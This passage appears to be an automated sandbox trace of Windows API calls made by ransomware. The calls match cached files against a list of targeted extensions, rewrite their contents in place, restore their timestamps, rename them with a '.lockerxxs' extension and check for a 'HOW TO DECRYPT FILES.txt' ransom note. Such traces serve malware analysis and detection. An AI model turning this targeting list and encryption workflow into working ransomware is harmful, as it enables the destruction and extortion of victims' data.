Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.wab") returned 0 [0083.337] lstrlenA (lpString="*.wab") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.dat") returned 0 [0083.337] lstrlenA (lpString="*.dat") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.txt") returned 0 [0083.337] lstrlenA (lpString="*.txt") returned 5 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.jpeg") returned 0 [0083.337] lstrlenA (lpString="*.jpeg") returned 6 [0083.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", pszSpec="*.jpg") returned 1 [0083.337] lstrlenA (lpString="*.jpg") returned 5 [0083.338] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" [0083.338] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" [0083.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg." [0083.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.lockerxxs" [0083.338] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.338] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3860 [0083.338] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4587cb90, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x4587cb90, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4587cb90, dwHighDateTime=0x1d2faf3)) returned 1 [0083.338] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.339] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x383a, lpOverlapped=0x0) returned 1 [0083.341] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg") returned="BBEfBbH[1].jpg" [0083.341] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.341] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x383a, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x383a, lpOverlapped=0x0) returned 1 [0083.341] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.342] CloseHandle (hObject=0xa4) returned 1 [0083.342] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg.lockerxxs")) returned 1 [0083.342] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x457be4b0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x457be4b0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x457be4b0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x19a5, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfBq0[1].jpg", cAlternateFileName="BBEFBQ~1.JPG")) returned 1 [0083.343] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.343] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfBq0[1].jpg") returned 1 [0083.343] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfBq0[1].jpg") returned 1 [0083.343] lstrcmpiA (lpString1="", lpString2="BBEfBq0[1].jpg") returned -1 [0083.343] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg") returned="BBEfBbH[1].jpg" [0083.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.343] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.343] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.343] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.343] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBEfBq0[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" [0083.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.ems") returned 0 [0083.343] lstrlenA (lpString="*.ems") returned 5 [0083.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.db") returned 0 [0083.343] lstrlenA (lpString="*.db") returned 4 [0083.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.dbf") returned 0 [0083.343] lstrlenA (lpString="*.dbf") returned 5 [0083.343] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.myox") returned 0 [0083.343] lstrlenA (lpString="*.myox") returned 6 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.myo") returned 0 [0083.344] lstrlenA (lpString="*.myo") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qbw") returned 0 [0083.344] lstrlenA (lpString="*.qbw") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qbb") returned 0 [0083.344] lstrlenA (lpString="*.qbb") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qbm") returned 0 [0083.344] lstrlenA (lpString="*.qbm") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qbo") returned 0 [0083.344] lstrlenA (lpString="*.qbo") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qbx") returned 0 [0083.344] lstrlenA (lpString="*.qbx") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qba") returned 0 [0083.344] lstrlenA (lpString="*.qba") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qby") returned 0 [0083.344] lstrlenA (lpString="*.qby") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qbj") returned 0 [0083.344] lstrlenA (lpString="*.qbj") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.ofx") returned 0 [0083.344] lstrlenA (lpString="*.ofx") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.qif") returned 0 [0083.344] lstrlenA (lpString="*.qif") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.mye") returned 0 [0083.344] lstrlenA (lpString="*.mye") returned 5 [0083.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.mbox") returned 0 [0083.344] lstrlenA (lpString="*.mbox") returned 6 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.eml") returned 0 [0083.345] lstrlenA (lpString="*.eml") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.pst") returned 0 [0083.345] lstrlenA (lpString="*.pst") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.ost") returned 0 [0083.345] lstrlenA (lpString="*.ost") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.idx") returned 0 [0083.345] lstrlenA (lpString="*.idx") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.dbx") returned 0 [0083.345] lstrlenA (lpString="*.dbx") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.sql") returned 0 [0083.345] lstrlenA (lpString="*.sql") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.mdb") returned 0 [0083.345] lstrlenA (lpString="*.mdb") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.fdb") returned 0 [0083.345] lstrlenA (lpString="*.fdb") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.wab") returned 0 [0083.345] lstrlenA (lpString="*.wab") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.dat") returned 0 [0083.345] lstrlenA (lpString="*.dat") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.txt") returned 0 [0083.345] lstrlenA (lpString="*.txt") returned 5 [0083.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.jpeg") returned 0 [0083.345] lstrlenA (lpString="*.jpeg") returned 6 [0083.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", pszSpec="*.jpg") returned 1 [0083.346] lstrlenA (lpString="*.jpg") returned 5 [0083.346] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" [0083.346] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" [0083.346] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg." [0083.346] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.lockerxxs" [0083.346] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.346] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19a5 [0083.347] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x457be4b0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x457be4b0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x457be4b0, dwHighDateTime=0x1d2faf3)) returned 1 [0083.347] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.347] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x197f, lpOverlapped=0x0) returned 1 [0083.349] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg") returned="BBEfBq0[1].jpg" [0083.349] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.350] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x197f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x197f, lpOverlapped=0x0) returned 1 [0083.350] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.350] CloseHandle (hObject=0xa4) returned 1 [0083.350] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg.lockerxxs")) returned 1 [0083.351] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45bc29d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2619, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfBrz[1].jpg", cAlternateFileName="BBEFBR~1.JPG")) returned 1 [0083.351] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.351] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfBrz[1].jpg") returned 1 [0083.351] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfBrz[1].jpg") returned 1 [0083.351] lstrcmpiA (lpString1="", lpString2="BBEfBrz[1].jpg") returned -1 [0083.351] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg") returned="BBEfBq0[1].jpg" [0083.351] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.351] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 